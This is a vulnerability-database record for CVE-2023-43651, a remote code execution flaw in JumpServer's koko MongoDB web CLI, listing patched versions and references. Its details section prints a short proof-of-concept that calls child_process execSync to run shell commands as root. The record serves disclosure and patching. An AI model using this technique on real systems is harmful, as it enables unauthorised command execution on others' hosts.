{"id":"CVE-2023-43651","aliases":["GHSA-4r5x-x283-wm96"],"url":"https://o3.security/vulnerability/CVE-2023-43651","summary":"Remote code execution on the host system via MongoDB shell in jumpserver","details":"### Impact\n\nAn authenticated user can exploit a vulnerability in MongoDB sessions to execute arbitrary commands, leading to remote code execution. This vulnerability may further be leveraged to gain root privileges on the host system.\n\n### Details\nThrough the WEB CLI interface provided by koko, a user logs into the authorized mongoDB database and exploits the MongoDB session to execute arbitrary commands.\n\n```\nadmin> const { execSync } = require(\"child_process\")\nadmin> console.log(execSync(\"id; hostname;\").toString())\nuid=0(root) gid=0(root) groups=0(root)\njms_koko\nadmin> \n```\n\n### Patches\nSafe versions: \n- v2.28.20\n- v3.7.1 \n\n### Workarounds\nIt is recommended to upgrade the safe versions.\n\nAfter upgrade, you can use the same method to check whether the vulnerability is fixed.\n```\nadmin> console.log(execSync(\"id; hostname;\").toString())\n/bin/sh: line 1: /bin/hostname: Permission denied\n```\n\n### References\nThanks for **Oskar Zeino-Mahmalat** of [Sonar](https://sonarsource.com/) found and report this vulnerability ","published":"2023-09-27T20:24:08.733Z","modified":"2026-08-12T03:51:16.966738111Z","cvss":{"score":8.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Go","name":"github.com/jumpserver/koko","fixedVersion":"2.28.20"},{"ecosystem":"Go","name":"github.com/jumpserver/koko","fixedVersion":"3.7.1"}],"fix":{"url":"https://github.com/jumpserver/koko/commit/7d80db95d17c8f42bdf50260dfc21dc2bd0452c2","label":"jumpserver/koko@7d80db9"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/43xxx/CVE-2023-43651.json"},{"type":"ADVISORY","url":"https://github.com/jumpserver/jumpserver/security/advisories/GHSA-4r5x-x283-wm96"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-43651"},{"type":"ARTICLE","url":"https://www.sonarsource.com/blog/diving-into-jumpserver-attackers-gateway-to-internal-networks-2-2"},{"type":"WEB","url":"https://github.com/jumpserver/koko/commit/7d80db95d17c8f42bdf50260dfc21dc2bd0452c2"},{"type":"WEB","url":"https://github.com/jumpserver/koko/commit/857f8b9e41f0930dc6190a35d8601fffa5e884e7"},{"type":"PACKAGE","url":"https://github.com/jumpserver/koko"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:16.966738111Z"}}